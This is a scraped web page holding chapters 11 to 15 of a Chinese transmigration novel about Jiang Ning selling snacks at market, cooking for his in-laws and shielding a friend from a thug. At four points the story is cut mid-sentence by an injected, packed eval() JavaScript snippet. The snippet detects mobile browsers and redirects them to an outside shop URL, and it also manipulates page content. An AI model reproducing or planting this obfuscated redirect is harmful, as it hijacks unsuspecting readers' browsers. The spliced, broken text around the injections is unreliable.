他瞥眼卫长昀,“你嫁人,阿娘给你塞了二十文的事,我们都知道了,还不够啊。” 姜宁忍不住在心里翻了个白眼,正常个鬼,看你脑子就是小时候病了才坏的。 “那是阿娘心疼我,给我防身的。”姜宁一脸踌躇,“病了还是得问大夫,大哥你来集上买东西,身上的钱——” 姜富贵大惊失色,后退了一步,“钱什么钱,哪来的钱!” 姜宁睁大眼,一副失落的模样,“我只是担心一会儿去药堂问了……大哥你跟我们一起去吧。” “咱家哪有钱,我买什么东西?是来给爹买药的。”姜富贵信口胡诌了个理由,嘴角的油都没抹干净。 姜宁“哎”了声,刚想再说,姜富贵立即推脱有事,急匆匆地走了。 “大哥,你这就走了?不跟家里去坐坐?”姜宁伸长脖子喊了一声,结果姜富贵跑得更快。 等人走到人群里看不见,姜宁才收回视线,抬了抬下巴。 就这样还敢来占便宜,跟卫长昀套近乎,脑子是怎不够使的。 “走吧,吃豆花面去。”姜宁拍拍手,回头跟卫长昀说。 一转头,就见卫长昀脸上表情十分精彩地看着他,像是惊讶,又像是佩服。 姜宁:“……” 糟糕,不会是演过头了吧。 “前面转过去就是面摊。”卫长昀指了下路口,“肉铺离这里也不远,回去时要记得买油布。” “油布是不是比油纸要好一些?”姜宁尴尬地摸了摸鼻尖,幸好卫长昀情商不低。 问:“那买这个好了,耐用。” 家里用的东西,买便宜的只能省一时,要贵得不多,那还是要买质量好点的。 不然用不了多久又坏了,还平白多花钱。 “结实一些。”卫长昀说。 他俩说话间,已经走到了面摊外。 永安镇只有两家大点的酒楼,一家客栈,其他小铺子倒是不少,面馆、包子铺这些。 姜宁忙了一早上,一闻到面香,觉得自己能吃下两碗面。 “这儿有什么面?”姜宁习惯地想找菜单,结果桌上只有一只茶壶,尴尬地问卫长昀。 “豆花面、葱油面和打卤面。”卫长昀翻了杯子,倒了两杯茶,“才开春,卤子应该是笋。” 打卤面? 姜宁眨了眨眼,这不是北方爱吃的,他们这儿可少听说。 羊肉面、牛肉面、辣鸡面跟豌杂面他都吃过,街上卖得也多,打卤面一次都没吃过。 “听阿肆说,老板祖上是北方迁过来的。”卫长昀解释道:“他家的面劲道。” 姜宁明白地点点头,捧着杯子喝了口茶,嗓子可算舒服了不少,“阿肆是你同窗?” 卫长昀“嗯”了声,道:“他家在镇上,卖豆腐的。” 阿肆。 在私塾里有要好的朋友,那是好事。 姜宁心里暗暗想,他还担心以卫长昀的性子,独来独往,太过不近人情。 现在能叫人家“阿肆”,那关系肯定好。 老板煮完两碗面,回头问他俩要什么,一听要两碗打卤面,高声应了好,开始往锅里下面。 姜宁想尝个鲜,一闻到香味,肚子里的馋虫直叫唤。 两碗面很快上桌,山里挖的鲜笋被做成了卤子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651518|143458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,口感嫩脆又不腻,和面拌在一块,一口下去,完全不觉得面腻。 姜宁拿着筷子,胡乱擦擦,呼哧呼哧吃了起来。 卫长昀吃香并不急,一半是因为性子沉稳,另一半是私塾里大家都吃得不快。 他看姜宁吃得这么香,食欲被勾起来,干脆也埋头吃。 “这老板手艺真不错,我不怎么喜欢吃面都觉得好吃。”姜宁是典型的米饭胃,一点接受不了面当主食,偶尔一顿还行。 “嫂嫂要是喜欢,下回赶集可以再来。” 卫长昀想得简单,姜宁现在是家里最年长的人,又是能赚钱的人,想吃面就得让他吃。 姜宁擦了嘴,手撑着脸,“什么东西都不能接着吃,容易腻。” 卫长昀拿着筷子的手一顿,“和土豆片一样?” 姜宁笑起来,觉得卫长昀果然还是个小孩,“差不多吧。” 不知怎么,卫长昀从他话里听出了几丝敷衍,就像对小小、小宝他们说话是的。 卫长昀往街上看去,左右扫了一圈,“刚才姜家大哥的事,不要紧吗?” 姜宁哪想到他还惦记这个,“短时间肯定不会往我们家里来了,毕竟一听家里有人生病,就知道得花钱,还是不知道底的数,谁会愿意沾呢。” 旁人或许还能正常往来,但姜家那些个人一定不会,肯定躲远远的。 不过卫长昀一说,姜宁倒想起一事,刚才光顾着吓走姜富贵,他一时忘了。 姜宁的阿娘是个怯弱的人,性子绵软、不擅言辞,嫁给姜大志后生了两儿一女,大半辈子都在操劳。 姜宁在家时还能帮她干点活,现在只剩她一个人,怕是更累了。 就这么一个人,姜宁出嫁时,还悄悄塞了二十文给他,生怕他连个防身的钱都没有。 他得找个机会,打听打听。 至少得知道他阿娘过得怎么样。 卫长昀发现姜宁在发呆,喊道:“嫂嫂?” 姜宁倏地回神,冲他笑了下,“结账吧,去买个三两肉,还有一块豆腐。” “买豆腐做什么?” “今晚吃番茄豆腐瘦肉煲。” 大人小孩都能吃的菜,而且下饭又味鲜,汤都能泡几碗饭。 12.第 12 章 姜宁挣到的第一桶金,一共一百五十文。 比起那些什么日进斗金、日赚百两的来说,差得远了,但姜宁自己还挺满意的。 期待放低,才会有意外惊喜。 再说了,一百五十文按照燕朝的物价换算,也一百五十块了。 日薪一百五,也挺高的。 不过这点钱等到家的时候,就只剩下九十文。 十二文钱吃了两碗面,四十文买了三两肉,五文买了油布,两文买了豆腐。 要离开时,姜宁自掏腰包,给俩小的买了两块糖。 从镇上到村里,来回两个时辰的山路,姜宁一到家,强撑着用油布把窗户补了,随便交代了两句,径自回房间休息。 剩下那九十文,被他放进陶罐,和原来的放一起。 迷迷瞪瞪地看着空空的陶罐,姜宁把被子往身上一裹,头挨着枕头,失去意识前想,要不了多久他就会把陶罐装满。 “二哥,宁哥哥是不是晕过去了?”小小扒在窗户下边,踮脚伸脖子往里看,“一下就不动了。” 小宝一听,放下糖凑过去,“好像真的晕了。” 卫长昀正在收拾东西,准备喂小鸡崽,听他俩回头跟自己说话,一脸担心,停下脚步,往姜宁房间看了眼。 他比了一个安静的手势,压低声音,“只是太累了,没有晕过去。” 小小睁大眼,蹑手蹑脚挪到他旁边,从筐里拿了萝卜菜,“累得睡着了吗?” 卫长昀“嗯”了声,示意小宝别扒窗户了。 “你们在院里玩,别去吵他睡觉,让他——”卫长昀顿了顿,“让嫂嫂多休息下,这几天他太累了,知道吗?” 小小从小就听话,虽然活泼,却懂事,“知道了,会乖乖听话的,宁哥哥特别好。” 小宝顽皮些,明明是哥哥却黏小小一点,像个小跟屁虫,“宁哥哥给我们买糖,我们不吵他。” 闻言卫长昀一怔,想起这几日姜宁忙里忙外,表情严肃地拍了拍小宝的头,“不给你买糖,他也是你兄长。” 小小一听,立即点头,“我喜欢宁哥哥!” 卫长昀:“……” 和他说的不是一回事,不过勉强算听明白他的话了。 俩小的有糖吃,晚上还可以吃上肉,加上天气不错,见卫长昀去喂鸡、浇菜也不闹腾,在院子里玩得挺开心。 姜宁这一觉睡得特别沉,还踏实。 等他醒过来,已经快酉时了。 抱着被子翻了个身,习惯在枕头上蹭了蹭,赖了一会儿才磨磨蹭蹭睁开眼。 太累了。 身上胳膊和腿都透着酸,一点都不想动。 姜宁趴了会儿,瞅着窗户外,心想三千米也不过如此了,他得养养,总不能一直这么虚。 但累归累,晚饭还是得做。 毕竟美食可以治愈一切。 “宁哥哥,你醒了?”小小正蹲地上画小人,听到动静抬头,笑得眼睛眯一块,“你要不要再休息下?” 姜宁伸了个懒腰,走过去捏捏她脸,“再睡骨头都要懒了。” 小小往后一指,“可是二哥说你需要多休息,你太辛苦了。” 从后面菜地绕出来的卫长昀,手里拿着两把菜,停在原地没动。 姜宁看眼他,又瞥见院子里的木架上,那几个竹筛子里晒的辣椒,“你晒的?” “菜园子里的辣椒不摘,过一阵就坏了。”卫长昀佯装没听到小小的话,拿着菜往厨房走。 姜宁让小小跟小宝玩,也进了厨房。 “你晒那么多做什么?” 卫长昀一边往盆里舀水一边道:“不是要用吗?” 姜宁错愕地看他,从柜子里拿肉的动作都一顿,“你怎么知道?” “不是嫂嫂说的?”卫长昀挽着袖子洗菜,转头看他。 姜宁一愣,不记得自己说过了,他只说过卖土豆片不是长久之计,难道卫长昀自己悟出来的? “那你……” “卖土豆片的确如嫂嫂说的一样,不是长久之计,无非是切薄一点过油炸,一次炸不好还可以多试几次,反正土豆几乎家家都有。”卫长昀以为姜宁是考自己,便把自己想法说了。 “但辣椒面不一样,不知道原料和比例,那些厨子也不一定能还原。” 姜宁越听眼睛瞪得越大,等卫长昀说出他要卖的是辣椒面之后,差点让肉从碗里掉出去。 “辣椒多晒些,有备无患。”卫长昀道。 姜宁不自觉吞咽了下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660427|143458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我是打算卖辣椒面,还准备多弄几种口味。” “辣椒不够,明日我去地里摘,再过一阵雨季,怕是晒不干。”卫长昀微微皱眉,“好在家里还有些。” 姜宁看他一本正经的样子,忽地笑了起来,“院子里这些够了,反正离下次赶集还有一阵子。” 做饭这事儿,一个人在厨房里忙,容易生出厌烦心,得有个人一块聊着,手里的事就显得好做了。 姜宁没让卫长昀出去,反正都自家人,还能胳膊肘往外拐么? 别人会,卫长昀这样的,哪怕相处没多会儿也看得出不会。 两人有一句没一句聊着,越聊姜宁心里的一个念头越来越强烈。 卫长昀这样聪明,一定不是读书读出来的,就是少年聪慧,才被家里送去读书,图个好前程。 这脑子,不止读书好事,连做生意都转得快。 要是一直在学堂里念书的话,岂不是个状元之才? 姜宁忽地瞪大眼,盯着锅里咕噜咕噜冒气的番茄豆腐瘦肉煲,悄悄瞄了眼卫长昀。 好像还真的,是那么回事。 “嫂嫂?” “啊?” 姜宁回过神,尴尬地咳了声,“怎么了?” 卫长昀担心地看他,“你是不是太累了?” 姜宁忙摇头,随口编了个理由,“我只是在琢磨事情,想多挣一点钱,不还得让你回私塾上课。” 他话音刚落,卫长昀脸上的担心凝住,很快褪去,面无表情地转回去,端着一盆水往外走。 姜宁站在原地,眨了眨眼,没太明白他怎么了。 过一会儿,饭菜做好了,三个菜,一炖一煮一炒。 姜宁见卫长昀没在院子里,让小宝去屋里叫他。才刚摆上碗筷,就见赵秋在院子外探头探脑的。 “秋哥儿?你怎么这会儿来了?” 赵秋被他这样一喊,张了张嘴,欲言又止的没进来。 姜宁见他神色不对,立即走过去开了门,“天色不早了,你先进来,有什么事慢慢说。” 赵秋眼神慌乱,心神不宁的,一进来就抓住姜宁手腕,“我……宁哥儿,我怕是不成了。” “那个无赖,他又来我家了,逼着我爹我娘把我嫁给他。” 13.第 13 章 赵秋生得清秀,又性子乖巧,所以家里人打小就疼他,兄姐也都格外爱护他。 在这么一个环境里,赵秋性格自是养得单纯。 去年冬至时,他跟着家里人去镇上赶集,跟他娘一块看新年做衣裳的料子。 出来走了一会儿,他娘发现随身带的布袋子落店里了,又折回去拿,嘱咐赵秋别走远,在原地转转等她。 赵秋来过镇上很多次,认得路。 算了算他娘来回的时间,嫌中午太阳晒人,怕被晒黑了干脆到旁边巷口站着,不时左右张望。 就是这个时候,他脚腕被人抓了一下,吓得他一个激灵,连叫都叫不出声,只听到心脏怦怦乱跳。 “谁家的小哥儿,身上可有余钱?” 赵秋瞪大眼,慢吞吞地回头,发现是个蓬头垢面的男人半躺在地上,“我、我没有,没有钱。” “小哥儿行行好,我饿得不行,还被人打了一顿,你赏我一两个子,他日必定相报。” 赵秋哪里碰见过这种事,动了动脚要挣开男人的手,却发现根本挣不开,眼圈都红了。 “你、你别拽着我,我没钱。” “你——”男人抬起头,一双眼睛藏在头发后面,眼神吓人。 赵秋跺了跺脚,摸了摸腰带,才刚摸到三个铜板,就听到他娘在外面叫他。 “秋哥儿?” “我在这,来了。” 赵秋连忙掏出三个铜板,往男人怀里一扔,趁他去捡时,飞快跑街上。 “怎么了?眼睛红红的。” “没、没事!阿娘我们快去找爹和大哥吧。” 后来赵家人去镇上买东西,才从相熟的人那儿知道,这无赖叫陈三,是一个混混。 什么被人打、抢了钱,分明是他去给人做工,手脚不干净被东家打出来的。 …… 姜宁拎着壶,给赵秋又倒了一杯热水递到他手里,“你说的无赖,就是他?” 赵秋苦着脸,看他一眼后点了点头。 果然,路边的野男人不能乱捡。 这还没乱捡呢,就被麻烦给缠上了。 姜宁一时也没什么主意,只往外看了眼,桌旁那三个还等着他们吃饭,筷子都没动一下。 “你别急,先跟我家吃饭了再说,容我想想。”姜宁拍拍他肩膀,起身拉着他往外走。 “长昀,你帮着添副碗筷。” 卫长昀看他们出来,起身去厨房,拿了碗筷出来,挨着姜宁的放。 姜宁拉着赵秋挨自己坐,把筷子塞到他手里,“好了,从现在起,别想乱七八糟的。” “他会不会……难为我家人?”赵秋忽地担心道:“要不我还是——” 姜宁拉住他,“肯定不会,他现在还不到破罐破摔的时候,顶多明天再来一趟,不然这大晚上他们住哪?” 那无赖不是一个人来的,还喊了两个人。 人高马大的三个人往院里一杵,能不吓人吗?但小河村也不是法外之地,没婚约纠缠一个哥儿,不行就去请村长,和习武的王大哥。 “晚上你就在我家,你不在他们找不到人自然就走了。”姜宁看他还一脸担心,“要真有什么事,肯定会来这儿找你的。” 赵秋“嗯”了声,抬头发现其他三兄妹都在看自己,不好意思地道歉,“对不起,还耽误你们吃饭了。” “饿了吧?”姜宁看向眼巴巴地俩小孩,“让你们先吃,还非得等,幸好菜没凉,快吃吧,我秘制的番茄豆腐瘦肉煲。” “番茄是什么啊?” “放的不是毛辣果吗?” 姜宁一怔,低咳了声,“番茄是毛辣果的别名,不纠结这个,快尝尝好不好吃?” 说完笑弯了一双眼,扭头跟赵秋说:“秋哥儿,你也尝尝,吃了东西心情会好。” “谢谢宁哥儿。”赵秋朝他笑了下,等其他人动筷了他才伸筷子。 毛辣果和辣椒是姜宁老家最喜欢用的调味之一,尤其是对于香料类型偏少,食材比较少的情况下,用辣椒提味、毛辣果吊汁,很多食材的腥味、土味都会被掩盖。 这么做出来的菜,会让人有胃口得多。 “这个汤汁,可以拌饭吗?” 赵秋第一次吃姜宁做的菜,眼睛一亮,“酸甜的,又有一点儿辣,好香。” “可以,我还在里边放了一点点肉沫,这样汤更好吃。”姜宁一脸骄傲地抬了抬下巴,“肉片是提前过了水的,煲的时间一刻都要不了。” 赵秋之前就想问了,这会儿姜宁提到肉,他才顺势问出来,“你们今天去镇上赶集了啊?” 姜宁点头,“去了,那天让你尝的土豆片,十五斤全卖光了!” “好厉害!”赵秋瞪大眼,替姜宁高兴。 “下次再多做一点去,这样能多攒点钱。”姜宁扒了口饭,琢磨要多久才能攒够一罐子。 赵秋一听,连连夸他厉害。 旁边吃着饭的卫长昀,听到攒钱两个字,抬眼瞥向姜宁,收回视线时和赵秋的撞上,面无表情地低头继续吃饭。 赵秋:“……” 乡下吃了晚饭,除了坐在院子里乘凉、闲聊,也没什么别的事。 俩小孩子玩了一会儿,就困了。 卫长昀打了热水,给他俩擦了脸和脚,盯着他们上床,关了房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667681|143458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门出来,发现姜宁和赵秋还坐在院子里。 “时辰不早,我先回房了。”卫长昀从他们旁边过时,停下道:“嫂嫂和秋哥儿,早点休息。” 姜宁摆手,冲着他笑了起来,“知道了,我一会儿就领秋哥儿去我屋里。” 卫长昀嘴角很快绷紧了下,没再说什么,“嗯”了声。 姜宁扭头看向他屋里,回过来道:“油灯别省,你夜里看书得亮一些,不然伤眼睛,日后远处的东西可就看不清楚了。” 燕朝又还没眼镜,类似玻璃的琉璃怕是千金难求,他就算想做一个,怕也做不起。 卫长昀绷紧的嘴角,微微上扬,“嗯。” 在一旁的赵秋看着这一幕,下意识眨眨眼,总觉得卫长昀被姜宁哄笑了。 “外边凉,我们也进屋。”姜宁伸了个懒腰,“等挣了钱,我就买一头驴,去镇上可以坐驴车,今天走得累死了。” 赵秋忍不住笑,“你怎么还娇气呢,那去县里更远,听说要走上一日,要脚程慢些,路上还得在驿站借住一晚。” 姜宁代入想了下,立即摇摇头,“那我就买一匹马,乘马车去。” 等进了屋,姜宁看赵秋自然坐在床上,倏地想起来赵秋是个哥儿,也就是—— 能生孩子那种。 虽然他现在也一样,但心理状态不是啊。 “宁哥儿,我有些担心我爹娘。”赵秋坐在那儿,忽地小声说了句。 姜宁闻言走过去坐下,余光瞄着赵秋,虽然秀气,但的确是十六七的男生模样。 “明早我跟你一起过去,今晚我想想法子。”姜宁安慰道:“我都困了,我们先睡吧。” 赵秋看姜宁打了哈欠,又想起他去镇上的事,依言躺下,“嗯,听你的。” 姜宁侧身躺下,枕着手,“其实我也担心我娘,她不知道怎么样了。” 赵秋小声问:“我二姐就是嫁到坎子村,过两日要归家来,我让她帮你去看看?” “真的?”姜宁一喜,这样的话,那还省得他人生地不熟跑一趟了,“那就麻烦你二姐,她回来了,你跟我说声。” “好。”赵秋说完闭了眼,也不知道是睡了没睡。 姜宁也没说话,看了看有些发黑的顶,琢磨怎么让那无赖不敢来。 那无赖无非是见色起意,想霍霍赵秋,觉得他性子软好欺负,日后还能以此拿捏赵家。 色……? 有了。 姜宁眼睛一睁,扭头去看赵秋,他有法子了。 光脚不怕穿鞋的,无赖就是那光脚的。可凶的怕狠的,要钱的怕不要命的,他们只要比无赖更凶不就好了。 14.第 14 章 第二天一大早,姜宁跟卫长昀交代了几句,从棚子里拿上镰刀,气势汹汹地陪着赵秋回了家。 卫长昀站在院子里,视线一直跟着,直到看不见人。 听到小宝叫他,他转过身,想起那镰刀昨天才磨过,锋利得很。 姜宁那脾气,别拉了自己手。 姜宁拉着赵秋一路风风火火地到了家,手里镰刀握得紧紧的,倒不是真想砍人,就壮胆。 毕竟,真理只在武力之下。 “宁哥儿,一会儿陈三要在,你躲着点。”赵秋担心地说:“你可别真和他打起来。” 姜宁回头看他,解释道:“我打他做什么,我不打,吓唬他的。” “管用吗?”赵秋一脸疑惑地问:“他会不会更凶?” 姜宁看着不远处赵家的院子,松了手,“他当然不会怕,我们跟他凶,他一定会报复的,所以——” “得让他没工夫来缠你。” 赵秋:“啊?” 姜宁今早又琢磨了一下,陈三那人欺软怕硬不假,但万一是个有报复心的人,不能斩草除根,就是个隐患。 所以得让他对赵秋死心,得被别的事情缠住,自顾不暇了就惦记不了别的事了。 最好是能让他离开永安镇。 姜宁和赵秋进了家,没发现陈三时,都松了口气。 赵秋爹娘和大哥见姜宁送他回来,还拎着镰刀,连忙道谢,想把家里刚杀的鸡给他。 姜宁一听,立即推辞不要。 “这鸡我不要,赵叔杨婶,你们留着自己吃,我就先回去了。” “那吃个早饭再走吧。”赵秋娘客气道:“昨晚还麻烦你了,只是秋哥儿万不能嫁给无赖,嫁过去一辈子就毁了。” 赵大哥叹了口气,“那种无聊,要是有官府收拾就好了,成日偷鸡摸狗的。” “官府收拾,也得有人报官,不然就抓个现行,不然哪能无缘无故抓人。”赵秋爹摇摇头,“小偷小摸进去几日,也放出来了。” 事情的确不好办,关键在那陈三是个真无赖。 姜宁也不敢贸然出主意,他自己倒霉就算了,给赵家惹来祸事,是万万不行的。 “对了,娘,二姐明日回来,可否问下宁哥儿家中近况?”赵秋见姜宁要走,又劝不住,只好先把这事说了。 赵秋娘连声答应,“这有什么的,宁哥儿还不好意思,明儿我问问姑娘,再让秋哥儿去给你说。” 姜宁不好意思地挠了挠头,“那谢谢杨婶了。” 虽然没有万全之策,但姜宁还是想了一个损招。 拿了鸡血跟面粉,调了好一会儿,往里加了贝壳粉、树脂,这样不会被水冲掉。 他拉着赵秋在屋里,给他身上、胳膊和脸上,全点上了小红点,看着跟疹子一样。 反正陈三是看上赵秋的样貌,那就先“毁容”,糊弄一时,等他琢磨过来了,彻底解决的办法说不定也想出来了。 从赵秋家出来,姜宁回去路上,碰见了王栓。 “这不是卫家的小寡妇吗?又来村里给谁献媚眼啊?”王栓远远地调戏了一句。 姜宁翻个白眼,绕开他走,心里纳闷,这世上竟然还有这种蠢如猪而不自知的人。 王栓看他绕开,存心想堵他路,几步绕到他前面。 旁边榕树下坐了几个小孩,看见他俩这样,好奇地看来。 姜宁虽然不在意别人想什么,但不代表他软柿子,直接停下来,晃了晃手里的镰刀。 “又想找骂了?” “真泼辣,这路你家的?我不能走?”王栓梗着脖子,嘴硬道。 姜宁哼了声,往前走一步,离王栓就一臂的距离,“你无不无聊?没事找事,我这手里的镰刀——” 王栓生得高,一点不怕姜宁吓唬,打断道:“你一个小哥儿,挥得动镰刀吗?你——嗷!啊啊啊!” “哎呀,我是举不动,这不就手滑了,你没事吧?”姜宁无辜问他,“还好没刮了你耳朵,不然你这耳朵可就掉了。” 王栓惊魂未定,往后退了一步,惊恐地看着一脸冷静的姜宁,只紧紧地捂住裆。 姜宁把镰刀从树干拔下来,转了转,扫过他裤腿,“尿裤子?” 王栓瞪大眼,又往后退了几步,“你胡说,我没有!” 姜宁懒得理他,抬脚往家里走,“没有就没有,吼什么?下回别挡道,不然我不止会玩镰刀,竹筒弩也会做。” 说起来,是可以做一个竹筒弩放着,万一哪天真派上用场。 野兽是打不过,但吓唬吓唬坏人肯定可以。 “宁哥哥,你回来了?!二哥烙了饼。”小小一见姜宁回来,立即放下手里的竹蚂蚱,冲着他跑去。 姜宁看她跑来,把镰刀扔进旁边的竹筐,弯腰接住她,“等我吃饭啊?” 小小点头,“嗯,二哥说你肯定回来吃。” 闻言姜宁挑眉,朝卫长昀看去,笑了一下,“那你二哥可真聪明,连这个都知道。” 卫长昀手里端着盘子,听到这句,耳尖动了动,“可以吃了。” 姜宁牵着小小走过去,“洗了手再吃。” 还是家里好,自在一点,他最怕去别人家做客了,做什么都不自在。 就这么过了几天,姜宁一直在家没怎么出门。 他忙着做辣椒面呢,还得挑选一些好点的土豆,或者去周围转转,看看有没有什么新发现。 这么忙着,中间还办了件事,把鸡笼给改良了。 原先的鸡笼贴着地放,不好打扫,姜宁指挥着卫长昀,加高了半个手掌那么高,下边铺一层土,五天一换,全都堆到后边菜园子的土埂旁,过个十天半月可以当底肥用。 直到第六天,赵秋挎着篮子敲他家门,他才从忙里抽出身来。 “秋哥儿?你怎么来了?”姜宁擦了擦手,不忘跟卫长昀叮嘱,“就这些差不多了,你歇会儿。” 赵秋听到答应,才推了门进来,“给你送几个鸡蛋,还有我娘自己的玉米馒头。” 姜宁没伸手接篮子,问:“那个陈三没来找你麻烦吧?” “来了一趟,见我这模样,骂了几句晦气,就走了,也没见再来。”赵秋指了指脸,“我想等他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13679552|143458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己掉吧,反正也不影响啥,连王栓看见我都绕着走。” 姜宁笑出声,“那就行,先唬一阵子,别露馅了。” “鸡蛋和馒头你收下吧,你要不收,回去我得挨说。”赵秋把篮子放下,“我爹扭了脚,我得回去了。” 姜宁听了忙问:“严重吗?” 赵秋摆手,“不碍事,就从地里挑东西回来,崴着了。” 人家里有事,姜宁肯定不会拦着,正要把人送出门,就见赵秋拍了下脑袋,转过来,一脸踌躇看他。 小小和小宝刚从后面菜地过来,手里捧着两萝卜,缠着卫长昀削给他们吃。 “宁哥儿,我——”赵秋往卫家三兄妹那儿看了眼,“你家里边的事,我二姐昨夜里回家来,说是你阿娘前阵子病了,拖了好些天,一直没好,大夫和药都没请。” 姜宁一怔,想起那天姜大志想套近乎的样,一点没透露他娘生病的事,“是集后病的,还是集前就病了?” 赵秋道:“集前。” 姜宁心里的火一下就上来了,“那一屋子的人,个个有胳膊有腿的,连买药的钱都凑不齐?” “就……我二姐去的时候,你娘还在干活。”赵秋担心地看姜宁,“还咳嗽呢。” 什么人渣啊! 一屋子男的,还要生病的人伺候,是半身不遂了吗? 姜宁忍着脾气,“麻烦你二姐了,你先回去吧,我琢磨这两天去看看。” 送走赵秋,姜宁气鼓鼓地回到厨房,看见砧板上的菜刀,大步走过去。 “嫂嫂!”卫长昀不知道什么时候跟上来的,一把握住他手腕,“杀人犯法。” 姜宁:“……” “你想什么呢?” 卫长昀一愣,瞥了眼刀,犹豫着撒了手,“那嫂嫂是要?” “多切点土豆片,明天集上能多赚点。”姜宁抿抿唇,“明天赶了集,我想回家去看看。” 要是姜家人太过分,他想把人接过来,好歹这边有他照应呢。 卫长昀松了口气,他刚才听了大半,虽然和姜宁相处不长,但莫名地觉得上前去跟人打一架是他这位嫂嫂的风格。 “那我陪嫂嫂去。” “嗳?我一个人去就行。” “坎子村不算远,半日来回够了。” 半日来回够了,可家里还有两小孩,总不能又扔给别人家里看着吧。 一次两次还行,多了总觉得欠别人人情。 “我们去赵秋哥哥家。” 小小和小宝不知道什么时候站在厨房门口,趁机说。 姜宁:“……” 心里的烦躁和生气,被小孩的天真驱散了不少,“人家就要你们去啊?” “赵秋哥哥刚给我们使眼色,肯定行。” “就你们主意大。”姜宁没拒绝,算是同意了。 原本打算明天做四十斤的,姜宁想着治病花钱,跟卫长昀吃了晚饭后,又连夜多切了十斤的原料出来。 他俩睡了不到三个时辰,爬起来炸了五十斤的土豆片,稍微放凉了点,才放到背篓里,背着去集上卖。 15.第 15 章 有了第一次卖得不错的经验,姜宁特地选了老位置,还在桥边摆了个小摊。 人买东西都是有习惯的,经常去一家买,除非涨价离谱,或者质量变差太多,不然很少会换别家。 姜宁和卫长昀才把摊子摆上,就已经有人等着买了。 “来个一斤。” “我要半斤。” “我要两斤,先给我装!” “你这油纸算不算重量啊?别给我缺斤少两了。” …… “分开称的,不少。”姜宁挑了一句回,“这不称了,还都往袋子里再装一小把。” 做生意最重要的就是诚信,何况还是这种小本买卖,吃点小亏都当为以后攒运气。 姜宁家里从小就这么教他,他当然知道宁可吃点小亏,也不惹事的道理。 不到一个时辰,五十斤土豆片很快就见了底。 “今天可以早点收摊回家了。”姜宁坐在那儿,扯了扯卫长昀的袖子,“歇会儿,等会再理。” 卫长昀刚要坐下,想到什么,弯腰从背篓里拿出水罐,“要喝吗?” 姜宁心里记挂着母亲林氏,听到卫长昀主动问自己,愣愣地看他,“喝。” 又是推销又是解释,他说了不少话,这会儿嗓子要冒烟一样。 卫长昀把上面盖着的油纸和布揭开,递到他手里,“要买什么东西吗?” 姜宁本来想说的,余光觑见隔壁的人频频往这边瞅,立即咽了回去。 “不买了,也没挣多少。” 卫长昀倒没多问,只是想今天卖了半贯钱,还有不少人问佐料是怎么调的,下次就可以轻松点了。 不过姜宁身体不好,下一次赶集也可以不来,能多歇一阵。 “嗳,你们家卖的土豆片怎么做的啊?卖这么好。” 旁边一直看他们的大叔,终于忍不住凑过来问。 姜宁抱着水罐,喝了两口,喉咙总算舒服了一点。 “就是些小玩意,糊口罢了,大家现在吃着新鲜,过一阵啊也就吃腻了,乡下人自己做的零食。” “您每天都在这儿啊?” 财不外露,否则容易招惹麻烦。 姜宁警惕心很强,话也是真的,没说假话。 “小零嘴啊,那是,吃的时候都新鲜,过一阵就不新鲜了。”大叔乐呵呵地笑起来,退了回去,“是天天在,一样糊口罢了。” 姜宁瞧着,心念一动,借着把水罐给卫长昀时,凑近了道:“你给这大叔装一点儿,就当是攒个好人缘了。” 卫长昀听了点点头,把水罐放回去,用油纸折成袋,装了一袋给大叔送去。 大叔卖的是一些山里挖的药草,摆在那儿,有人来就卖,没人他也不吆喝,看着挺自在。 大叔诧异地问卫长昀,“这给我的?” 卫长昀道:“剩的不多,卖相比前边的差了点,拿回去也是自己吃,给你也尝点。” 大叔伸手接过去,“那我就不客气了,我这都是野药草,就不回赠你们了,不过你家夫郎瞧着体弱,多休息,补补才行。” 卫长昀一愣,正欲解释,就听姜宁喊了自己一声。 “来人了,你折一下纸袋,二两的。” “来了。”卫长昀答应了声,又回大叔的话,“知道了,多谢。” 后边剩下的三五斤,断断续续地卖了出去,最后剩下的碎渣,也不好卖,他们就干脆收摊回家。 